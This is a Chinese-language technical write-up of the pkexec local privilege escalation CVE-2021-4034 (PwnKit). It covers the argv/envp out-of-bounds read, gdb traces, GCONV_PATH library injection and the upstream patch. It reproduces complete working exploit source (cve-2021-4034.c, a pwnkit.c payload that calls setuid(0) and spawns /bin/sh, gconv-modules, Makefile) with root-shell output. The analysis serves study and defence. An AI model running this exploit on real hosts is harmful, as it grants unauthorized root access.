Bootstrap

泱脏武器库之 CVE 2021-4034 Polkit 提权小结

背景:

2021年11月29日,Qualys Security Advisory 组织发现并提交了针对于Linux Polkit 组件的提权漏洞CVE 2021-4034,覆盖广泛的Linux发行版本,如 :RedHat Entreprise Linux、Fedora、 Ubuntu ArchLinux、国内发行版本如:Kylin Linux、UOS Linux、Euler OS、Anolis OS、Circle Linux,影响范围涉及从2009年5月至2022年1月横跨10余年的全部发行版本。

影响范围:

        2009年5月 pkexec (commit c8c3d83, "Add a pkexec(1)") 至

        2022年1月25日 Upstream Coordinate Release

影响OS:

        RedHat Entreprise Linux

        Fedora

        Ubuntu

        ArchLinux  

        Kylin Linux            

        UOS Linux

        Anolis OS

        Euler OS

        Circle Linux

分析:

Description:

A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

http://cve.mitre.org

CVE数据库官方对CVE的解释如上:

在polkit包中的pkexec可执行性程序存在本地提权漏洞,pkexec程序是一个suid程序,设计被用于在预先设计的规则下,使未授权用户像授权用户一样运行程序。当前版本的pkexec没有正确的处理调用参数数量,最终会导致(越界的)环境变量像命令一样执行。攻击者可以通过构造特定的环境变量跷动漏洞,导致环境变量代码执行。当执行成功时,攻击可导致目标机权限提升,使未授权用户获取非授权的执行权限。

现象:

[mm@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.4# whoami
root
sh-4.4# 

原理解释:

pkexec是一个Linux C标准程序,其主函数原形如下所示:

int main (int argc, char *argv[], char* envp[])  

一般简写作如下两种变体:

int main (int argc, char *argv[]) 
int main (int argc, char **argv)

其中:argc变量存储环境变量个数,argv[]数组存储参数,envp[]数组存储环境变量信息,如:下代码所示:

#include <stdio.h>

int main(int argc, char *argv[], char *envp[])
{
        printf("argc=%d\n", argc);
        return 100;
}


|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

在Linux程序执行时kernel会将参数以及环境变量信息依次传递给主函数,但是并不会对argv[]和envp[]数组的边界进行限制检查,因而通过argv[]数组可以越界合理访问到envp[]中的数据。如下过程所示:

[mm@localhost gconv_test]$ gdb test_main
GNU gdb (GDB) Fedora 8.1-11.fc28
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from test_main...done.
(gdb) l
1	#include <stdio.h>
2	
3	
4	int main(int argc, char *argv[], char *envp[])
5	{
6		printf("argc=%d\n", argc);
7		return 100;
8	}
(gdb) b 6
Breakpoint 1 at 0x4004f9: file test_main.c, line 6.
(gdb) r
Starting program: /home/mm/gconv_test/test_main 

Breakpoint 1, main (argc=1, argv=0x7fffffffd708, envp=0x7fffffffd718) at test_main.c:6
6		printf("argc=%d\n", argc);
(gdb) p argv[0]
$1 = 0x7fffffffda52 "/home/mm/gconv_test/test_main"
(gdb) p argv[1]
$2 = 0x0
(gdb) p argv[2]
$3 = 0x7fffffffda76 "LS_COLORS=rs=0:di=38;5;33:ln=38;5;51:mh=00:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=01;05;37;41:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;19"...
(gdb) p argv[3]
$4 = 0x7fffffffe17f "XDG_MENU_PREFIX=gnome-"
(gdb) p argv[4]
$5 = 0x7fffffffe196 "MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH"
(gdb) p argv[5]
$6 = 0x7fffffffe1bd "LANG=zh_CN.UTF-8"
(gdb) p argv[6]
$7 = 0x7fffffffe1ce "GDM_LANG=zh_CN.UTF-8"
(gdb) p argv[7]
$8 = 0x7fffffffe1e3 "HISTCONTROL=ignoredups"
(gdb) p envp[0]
$9 = 0x7fffffffda76 "LS_COLORS=rs=0:di=38;5;33:ln=38;5;51:mh=00:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=01;05;37;41:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;19"...
(gdb) p envp[1]
$10 = 0x7fffffffe17f "XDG_MENU_PREFIX=gnome-"
(gdb) p envp[2]
$11 = 0x7fffffffe196 "MODULES_RUN_QUARANTINE=LD_LIBRARY_PATH"
(gdb) p envp[3]
$12 = 0x7fffffffe1bd "LANG=zh_CN.UTF-8"
(gdb) p envp[4]
$13 = 0x7fffffffe1ce "GDM_LANG=zh_CN.UTF-8"
(gdb) 


|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

可见当argc(参数=1)时,当argv[2]以后即可打印出环境变量信息并且argv[4]实际上已经访问到envp[2]的位置,指向的内容和地址均一致。

在pkexec.c的主函数中,n是以1为开始,后续的逻辑功能基本上是将所有的参数遍历出来,如果是以“/”开始则以绝对路径进行,如果不是以“/”开始,则通过g_find_program_in_path()将环境变量中的路径组装成绝对路径存储待用。n = 1开始,那么当出现传空参的时候,argv[1]实际上指向envp[0],此处会产生泄漏,也就是如果精心恶意的构造环境变量,可以导致环境变量作为攻击EXP执行。

为什么n会取值为1呢?个人觉得pkexec.c作者的理由也很充分:正常情况下一般不会出现传空参的情况,argv[0] 实际是/usr/bin/pkexec本身,自己遍历自己没有任何意义,因而从1开始遍历。而且从2009年5月第一个commit被提交到2021年11月的10余年时间里并没有出现任何安全事件发生,因而这段代码就一直沉淀直到2021年11月底被揭露。

//pkexec.c 关键源码

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);
 ...
 629   if (path[0] != '/')
 630     {
 ...
 632       s = g_find_program_in_path (path);
 ...
 639       argv[n] = path = s;
 640     }

pkexec程序的另一个特点是反复调用glib中g_printerr()函数,打印提示和错误信息。

    629   if (path[0] != '/')
    630     {
    631       /* g_find_program_in_path() is not suspectible to attacks via the environment */
    632       s = g_find_program_in_path (path);
    633       if (s == NULL)
    634         {
    635           g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
    636           goto out;
    637         }
    638       g_free (path);
    639       argv[n] = path = s;
    640     }
    641   if (access (path, F_OK) != 0)
    642     {
    643       g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
    644       goto out;
    645     }

g_printerr() 是glib.h中的定义的函数广泛应用于终端运行程序中,用于打印错误信息,提示信息,包括usage信息。

static void
usage (int argc, char *argv[])
{
  g_printerr ("pkexec --version |\n"
              "       --help |\n"
              "       --disable-internal-agent |\n"
              "       [--user username] [PROGRAM] [ARGUMENTS...]\n"
              "\n"
              "See the pkexec manual page for more details.\n"
              "\n"
              "Report bugs to: %s\n"
              "%s home page: <%s>\n", PACKAGE_BUGREPORT, PACKAGE_NAME,
              PACKAGE_URL);
}

g_printerr() 有一个好处,可以根据系统的语言类、字符编码类环境变量,打印出所对应的特定语言包的信息。如:

[mm@localhost gconv_test]$ set | grep LANG
GDM_LANG=zh_CN.UTF-8
LANG=zh_CN.UTF-8


[mm@localhost gconv_test]$ rpm -qp
rpm:未给出要查询的参数

同样它也存在漏洞:可以利用其在字符编码转换上的漏洞,进行库函数注入执行。

pwn.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(){}
void gconv_init(){
	printf("%s","this is my so run/n");
}

[mm@localhost gconv_test]$gcc -Wall --shared -fPIC -o pwnkit.so pwn.c
-------------------------------------------------------------------------
test.c:

#include <stdio.h>
#include <stdlib.h>

#include <glib.h>
//include "/usr/include/glib-2.0/glib.h"

int main(int argc, char *argv[]){

        g_printerr("this is gprint");

        return 0;
}

[mm@localhost gconv_test]$gcc `pkg-config --cflags glib-2.0` test.c `pkg-config --libs glib-2.0`
-------------------------------------------------------------------------
gconv-modules:

module UTF-8// PWNKIT// /home/mm/gconv_test/pwnkit 2
-------------------------------------------------------------------------
[mm@localhost gconv_test]$ export GCONV_PATH="/home/mm/gconv_test"
[mm@localhost gconv_test]$ export CHARSET=PWNKIT

[mm@localhost gconv_test]$ ./a.out 
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
this is gprintthis is my so run/n

其原理如下:

首先:

g_printerr()函数会调用 GNU C库中的iconv()函数,从GCONV_PATH环境变量中寻找gconv-modules配置文件,将一种定义的charset转换为另一种charset已达到在终端界面通过g_printerr()函数打印各国语言文字信息的功能。

fedora系统中的gconv-modules配置文件如下所示:

[root@localhost CVE-2021-4034-main]# rpm -qf /usr/lib64/gconv/gconv-modules
glibc-2.27-38.fc28.x86_64

[root@localhost gconv]# pwd
/usr/lib64/gconv

[root@localhost gconv]# ls
ANSI_X3.110.so  CP772.so            EBCDIC-IT.so         GREEK7-OLD.so   IBM1123.so  IBM1156.so   IBM275.so   IBM850.so     IBM875.so   IBM9448.so          ISO8859-10.so  KOI8-RU.so            PT154.so
ARMSCII-8.so    CP773.so            EBCDIC-PT.so         GREEK7.so       IBM1124.so  IBM1157.so   IBM277.so   IBM851.so     IBM880.so   IEC_P27-1.so        ISO8859-11.so  KOI-8.so              RK1048.so
ASMO_449.so     CP774.so            EBCDIC-UK.so         GREEK-CCITT.so  IBM1129.so  IBM1158.so   IBM278.so   IBM852.so     IBM891.so   INIS-8.so           ISO8859-13.so  KOI8-T.so             SAMI-WS2.so
BIG5HKSCS.so    CP775.so            EBCDIC-US.so         HP-GREEK8.so    IBM1130.so  IBM1160.so   IBM280.so   IBM855.so     IBM901.so   INIS-CYRILLIC.so    ISO8859-14.so  KOI8-U.so             SHIFT_JISX0213.so
BIG5.so         CP932.so            ECMA-CYRILLIC.so     HP-ROMAN8.so    IBM1132.so  IBM1161.so   IBM281.so   IBM856.so     IBM902.so   INIS.so             ISO8859-15.so  LATIN-GREEK-1.so      SJIS.so
BRF.so          CSN_369103.so       EUC-CN.so            HP-ROMAN9.so    IBM1133.so  IBM1162.so   IBM284.so   IBM857.so     IBM9030.so  ISIRI-3342.so       ISO8859-16.so  LATIN-GREEK.so        T.61.so
CP10007.so      CWI.so              EUC-JISX0213.so      HP-THAI8.so     IBM1137.so  IBM1163.so   IBM285.so   IBM858.so     IBM903.so   ISO_10367-BOX.so    ISO8859-1.so   libCNS.so             TCVN5712-1.so
CP1125.so       DEC-MCS.so          EUC-JP-MS.so         HP-TURKISH8.so  IBM1140.so  IBM1164.so   IBM290.so   IBM860.so     IBM904.so   ISO_11548-1.so      ISO8859-2.so   libGB.so              TIS-620.so
CP1250.so       EBCDIC-AT-DE-A.so   EUC-JP.so            IBM037.so       IBM1141.so  IBM1166.so   IBM297.so   IBM861.so     IBM905.so   ISO-2022-CN-EXT.so  ISO8859-3.so   libISOIR165.so        TSCII.so
CP1251.so       EBCDIC-AT-DE.so     EUC-KR.so            IBM038.so       IBM1142.so  IBM1167.so   IBM420.so   IBM862.so     IBM9066.so  ISO-2022-CN.so      ISO8859-4.so   libJIS.so             UHC.so
CP1252.so       EBCDIC-CA-FR.so     EUC-TW.so            IBM1004.so      IBM1143.so  IBM12712.so  IBM423.so   IBM863.so     IBM918.so   ISO-2022-JP-3.so    ISO8859-5.so   libJISX0213.so        UNICODE.so
CP1253.so       EBCDIC-DK-NO-A.so   GB18030.so           IBM1008_420.so  IBM1144.so  IBM1364.so   IBM424.so   IBM864.so     IBM921.so   ISO-2022-JP.so      ISO8859-6.so   libKSC.so             UTF-16.so
CP1254.so       EBCDIC-DK-NO.so     GBBIG5.so            IBM1008.so      IBM1145.so  IBM1371.so   IBM437.so   IBM865.so     IBM922.so   ISO-2022-KR.so      ISO8859-7.so   MAC-CENTRALEUROPE.so  UTF-32.so
CP1255.so       EBCDIC-ES-A.so      GBGBK.so             IBM1025.so      IBM1146.so  IBM1388.so   IBM4517.so  IBM866NAV.so  IBM930.so   ISO_2033.so         ISO8859-8.so   MACINTOSH.so          UTF-7.so
CP1256.so       EBCDIC-ES.so        GBK.so               IBM1026.so      IBM1147.so  IBM1390.so   IBM4899.so  IBM866.so     IBM932.so   ISO_5427-EXT.so     ISO8859-9E.so  MAC-IS.so             VISCII.so
CP1257.so       EBCDIC-ES-S.so      gconv-modules        IBM1046.so      IBM1148.so  IBM1399.so   IBM4909.so  IBM868.so     IBM933.so   ISO_5427.so         ISO8859-9.so   MAC-SAMI.so
CP1258.so       EBCDIC-FI-SE-A.so   gconv-modules.cache  IBM1047.so      IBM1149.so  IBM16804.so  IBM4971.so  IBM869.so     IBM935.so   ISO_5428.so         ISO-IR-197.so  MAC-UK.so
CP737.so        EBCDIC-FI-SE.so     GEORGIAN-ACADEMY.so  IBM1097.so      IBM1153.so  IBM256.so    IBM500.so   IBM870.so     IBM937.so   ISO646.so           ISO-IR-209.so  MIK.so
CP770.so        EBCDIC-FR.so        GEORGIAN-PS.so       IBM1112.so      IBM1154.so  IBM273.so    IBM5347.so  IBM871.so     IBM939.so   ISO_6937-2.so       JOHAB.so       NATS-DANO.so
CP771.so        EBCDIC-IS-FRISS.so  GOST_19768-74.so     IBM1122.so      IBM1155.so  IBM274.so    IBM803.so   IBM874.so     IBM943.so   ISO_6937.so         KOI8-R.so      NATS-SEFI.so

/usr/lib64/gconv/gconv-modules

 GNU libc iconv configuration.
# Copyright (C) 1997-2018 Free Software Foundation, Inc.
# This file is part of the GNU C Library.

# The GNU C Library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.

# The GNU C Library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.

# You should have received a copy of the GNU Lesser General Public
# License along with the GNU C Library; if not, see
# <http://www.gnu.org/licenses/>.

# All lines contain the following information:

# If the lines start with `module'
#  fromset:     either a name triple or a regular expression triple.
#  toset:       a name triple or an expression with \N to get regular
#               expression matching results.
#  filename:    filename of the module implementing the transformation.
#               If it is not absolute the path is made absolute by prepending
#               the directory the configuration file is found in.
#  cost:        optional cost of the transformation.  Default is 1.

# If the lines start with `alias'
#  alias:       alias name which is not really recognized.
#  name:        the real name of the character set

alias   ISO-IR-4//              BS_4730//
alias   ISO646-GB//             BS_4730//
alias   GB//                    BS_4730//
alias   UK//                    BS_4730//
alias   CSISO4UNITEDKINGDOM//   BS_4730//
module  BS_4730//               INTERNAL                ISO646          2
module  INTERNAL                BS_4730//               ISO646          2

alias   ISO-IR-121//            CSA_Z243.4-1985-1//
alias   ISO646-CA//             CSA_Z243.4-1985-1//
alias   CSA7-1//                CSA_Z243.4-1985-1//
alias   CA//                    CSA_Z243.4-1985-1//
alias   CSISO121CANADIAN1//     CSA_Z243.4-1985-1//
alias   CSA_Z243.419851//       CSA_Z243.4-1985-1//
module  CSA_Z243.4-1985-1//     INTERNAL                ISO646          2
module  INTERNAL                CSA_Z243.4-1985-1//     ISO646          2
......

#       from                    to                      module          cost
alias   ISO2022CNEXT//          ISO-2022-CN-EXT//
module  ISO-2022-CN-EXT//       INTERNAL                ISO-2022-CN-EXT 1
module  INTERNAL                ISO-2022-CN-EXT//       ISO-2022-CN-EXT 1

#       from                    to                      module          cost
alias   MAC//                   MACINTOSH//
alias   CSMACINTOSH//           MACINTOSH//
module  MACINTOSH//             INTERNAL                MACINTOSH       1
module  INTERNAL                MACINTOSH//             MACINTOSH       1

#       from                    to                      module          cost
alias   ISO-IR-143//            IEC_P27-1//
alias   CSISO143IECP271//       IEC_P27-1//
alias   IEC_P271//              IEC_P27-1//
module  IEC_P27-1//             INTERNAL                IEC_P27-1       1
module  INTERNAL                IEC_P27-1//             IEC_P27-1       1

#       from                    to                      module          cost
alias   ISO_9036//              ASMO_449//
alias   ARABIC7//               ASMO_449//
alias   ISO-IR-89//             ASMO_449//
alias   CSISO89ASMO449//        ASMO_449//
module  ASMO_449//              INTERNAL                ASMO_449        1
module  INTERNAL                ASMO_449//              ASMO_449        1


gconv-modules配置文件格式如下:

gconv-modules配置文件格式:
       转换的字符源字符集     转换的目标字符集      目标字符集库所在位置            转换开销
module UTF-8//              PWNKIT//            /home/mm/gconv_test/pwnkit     2

上述字符集转换的so库中的gconv_init()函数会在字符集转换过程中被执行,如下所示:

pwn.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(){}
void gconv_init(){
	printf("%s","this is my so run/n");
}

[mm@localhost gconv_test]$gcc -Wall --shared -fPIC -o pwnkit.so pwn.c
-------------------------------------------------------------------------
test.c:

#include <stdio.h>
#include <stdlib.h>

#include <glib.h>
//include "/usr/include/glib-2.0/glib.h"

int main(int argc, char *argv[]){

        g_printerr("this is gprint");

        return 0;
}

[mm@localhost gconv_test]$gcc `pkg-config --cflags glib-2.0` test.c `pkg-config --libs glib-2.0`
-------------------------------------------------------------------------
gconv-modules:

module UTF-8// PWNKIT// /home/mm/gconv_test/pwnkit 2
-------------------------------------------------------------------------
[mm@localhost gconv_test]$ export GCONV_PATH="/home/mm/gconv_test"
[mm@localhost gconv_test]$ export CHARSET=PWNKIT

[mm@localhost gconv_test]$ ./a.out 
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
this is gprintthis is my so run/n

因而对polkit pkexec越权可以总结为3点:

1.传个空参

2.构造一个合理的环境变量让其越权执行

3.构造一个CHARSET so库,让其可以通过pkexec的g_printerr()函数执行,其中so中包含越权执行的shell即可

构造的exp如下:

cve-2021-4034.c

#include <unistd.h>

int main(int argc, char **argv)
{
        char * const args[] = {
                NULL
        };
        char * const environ[] = {
                "pwnkit.so:.",
                "PATH=GCONV_PATH=.",
                "SHELL=/lol/i/do/not/exists",
                "CHARSET=PWNKIT",
                "GIO_USE_VFS=",
                NULL
        };
        return execve("/usr/bin/pkexec", args, environ);
}
-------------------------------------------------------------------------------
pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
        char * const args[] = { "/bin/sh", NULL };
        char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
        setuid(0);
        setgid(0);
        execve(args[0], args, environ);
        exit(0);
}
---------------------------------------------------------------------------------
gconv-modules

module UTF-8// PWNKIT// pwnkit 1
---------------------------------------------------------------------------------
Makefile:
CFLAGS=-Wall
TRUE=$(shell which true)

.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

.PHONY: clean
clean:
        rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
        make -C dry-run clean

gconv-modules:
        echo "module UTF-8// PWNKIT// pwnkit 1" > $@

.PHONY: gconvpath
gconvpath:
        mkdir -p GCONV_PATH=.
        cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.

pwnkit.so: pwnkit.c
        $(CC) $(CFLAGS) --shared -fPIC -o $@ $<

.PHONY: dry-run
dry-run:
        make -C dry-run                   

上述exp来源于:

https://github.com/berdav/CVE-2021-4034

在fedora 28上的把比较重要的部分拿gdb调试一下:

[root@localhost programs]# pwd
/root/rpmbuild/BUILD/polkit-0.114/src/programs
[root@localhost programs]# ls
Makefile  Makefile.am  Makefile.in  pkaction  pkaction.c  pkaction-pkaction.o  pkcheck  pkcheck.c  pkcheck-pkcheck.o  pkexec  pkexec.c  pkexec-pkexec.o  pkttyagent  pkttyagent.c  pkttyagent-pkttyagent.o


[root@localhost]# cat /etc/fedora-release 
Fedora release 28 (Twenty Eight)
Breakpoint 1, main (argc=0, argv=0x7fff3e152198) at pkexec.c:436
436	{
(gdb) l
431	
432	
433	
434	int
435	main (int argc, char *argv[])
436	{
437	  guint n;
438	  guint ret;
439	  gint rc;
440	  gboolean opt_show_help;
(gdb) n
455	  const gchar *environment_variables_to_save[] = {
(gdb) p argc
$1 = 0
(gdb) p argv[1]
$2 = 0x7fff3e152f93 "pwnkit.so:."
(gdb) 

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

[root@localhost CVE-2021-4034-main]# gdb cve-2021-4034
GNU gdb (GDB) Fedora 8.1-11.fc28
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from cve-2021-4034...done.
(gdb) b main
Breakpoint 1 at 0x4004f5: file cve-2021-4034.c, line 5.
(gdb) b pkexec.c:436
No source file named pkexec.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (pkexec.c:436) pending.
(gdb) info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00000000004004f5 in main at cve-2021-4034.c:5
2       breakpoint     keep y   <PENDING>          pkexec.c:436
(gdb) r
Starting program: /home/mm/CVE-2021-4034-main/cve-2021-4034 

Breakpoint 1, main (argc=1, argv=0x7fffffffd6d8) at cve-2021-4034.c:5
5		char * const args[] = {
(gdb) c
Continuing.
process 1789 is executing new program: /usr/bin/pkexec
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Breakpoint 1, main (argc=0, argv=0x7fff423b36c8) at pkexec.c:436
436	{
(gdb) l
431	
432	/* ---------------------------------------------------------------------------------------------------- */
433	
434	int
435	main (int argc, char *argv[])
436	{
437	  guint n;
438	  guint ret;
439	  gint rc;
440	  gboolean opt_show_help;
(gdb) n
455	  const gchar *environment_variables_to_save[] = {
(gdb) n
500	  command_line = NULL;
(gdb) n
505	  setenv ("GIO_USE_VFS", "local", 1);
(gdb) n
508	  if (geteuid () != 0)
(gdb) n
514	  original_user_name = g_strdup (g_get_user_name ());
(gdb) n
515	  if (original_user_name == NULL)
(gdb) p original_user_name
$1 = (gchar *) 0x5581b0c4d740 "root"
(gdb) n
521	  if ((original_cwd = g_get_current_dir ()) == NULL)
(gdb) n
584	    opt_user = g_strdup ("root");
(gdb) n
589	  rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
(gdb) n
590	  if (rc == 0 && pw == NULL)
(gdb) n
609	  g_assert (argv[argc] == NULL);
(gdb) n
610	  path = g_strdup (argv[n]);
(gdb) n
611	  if (path == NULL)
(gdb) n
........

629	  if (path[0] != '/')
(gdb) p path
$2 = (gchar *) 0x5581b0c4d830 "pwnkit.so:."
(gdb) p s
$3 = (gchar *) 0x5581b0c4d880 "GCONV_PATH=./pwnkit.so:."
(gdb) p argv[0]
$4 = 0x0
(gdb) p argv[1]
$5 = 0x5581b0c4d880 "GCONV_PATH=./pwnkit.so:."
(gdb) p command_line
$6 = (gchar *) 0x5581b0c49940 "GCONV_PATH=./pwnkit.so:. PATH=GCONV_PATH=. SHELL=/lol/i/do/not/exists CHARSET=PWNKIT GIO_USE_VFS=local"

670	      if (!validate_environment_variable (key, value))
(gdb) n
process 1789 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, 0x000055d120dcfd80 in main ()
Missing separate debuginfos, use: dnf debuginfo-install bash-4.4.19-2.fc28.x86_64
(gdb) n
Single stepping until exit from function main,
which has no line number information.
sh-4.4# 

最终我们就靠pkexec这个SUID程序提权了,也就是CVE 2021-4034

[root@localhost bin]# pwd
/usr/bin

[root@localhost bin]# ls -la |  wc -l
2286

[root@localhost bin]# ls -la | grep rws
-rwsr-xr-x.  1 root root         55440 2月  25 2018 at
-rwsr-xr-x.  1 root root         82040 2月   6 2018 chage
-rwsr-xr-x.  1 root root         59752 2月   7 2018 crontab
-rwsr-xr-x.  1 root root         32848 2月   7 2018 fusermount
-rwsr-xr-x.  1 root root         33120 3月  21 2018 fusermount-glusterfs
-rwsr-xr-x.  1 root root         89296 2月   6 2018 gpasswd
-rwsr-xr-x.  1 root root         50304 3月  27 2018 mount
-rwsr-xr-x.  1 root root         44160 2月   6 2018 newgidmap
-rwsr-xr-x.  1 root root         49432 2月   6 2018 newgrp
-rwsr-xr-x.  1 root root         44168 2月   6 2018 newuidmap
-rwsr-xr-x.  1 root root         29008 4月  12 2018 passwd
-rwsr-xr-x.  1 root root         28128 3月  15 18:47 pkexec
-rwsr-xr-x.  1 root root         46328 3月  27 2018 su
-rwsr-xr-x.  1 root root         33136 3月  27 2018 umount

[root@localhost bin]# ls -la | grep rws | wc -l
14

提权效果如下:

[mm@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.4# whoami
root
sh-4.4# 

修复机理

其修复机理是很简单的,传空参会导致二进制利用,那么修复就是穿空参强退,然后后面判断一下。

a2bf5c9c

  pid_t pid_of_caller;
  gpointer local_agent_handle;

//++++++++++++++++++++++++++++++++++++++
  /*
   * If 'pkexec' is called THIS wrong, someone's probably evil-doing. Don't be nice, just bail out.
   */
  if (argc<1)
    {
      exit(127);
    }
//++++++++++++++++++++++++++++++++++++++

  ret = 127;
  authority = NULL;
  subject = NULL;

      path = g_strdup (pwstruct.pw_shell);
      if (!path)
	{
        {
          g_printerr ("No shell configured or error retrieving pw_shell\n");
          goto out;
	}
        }
      /* If you change this, be sure to change the if (!command_line)
	 case below too */
      command_line = g_strdup (path);
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
      path = s;

      /* argc<2 and pkexec runs just shell, argv is guaranteed to be null-terminated.
       * /-less shell shouldn't happen, but let's be defensive and don't write to null-termination
       */
//++++++++++++++++++++++++++++++++++++++
      if (argv[n] != NULL)
      {
        argv[n] = path;
      }
//++++++++++++++++++++++++++++++++++++++
    }
  if (access (path, F_OK) != 0)
    {

;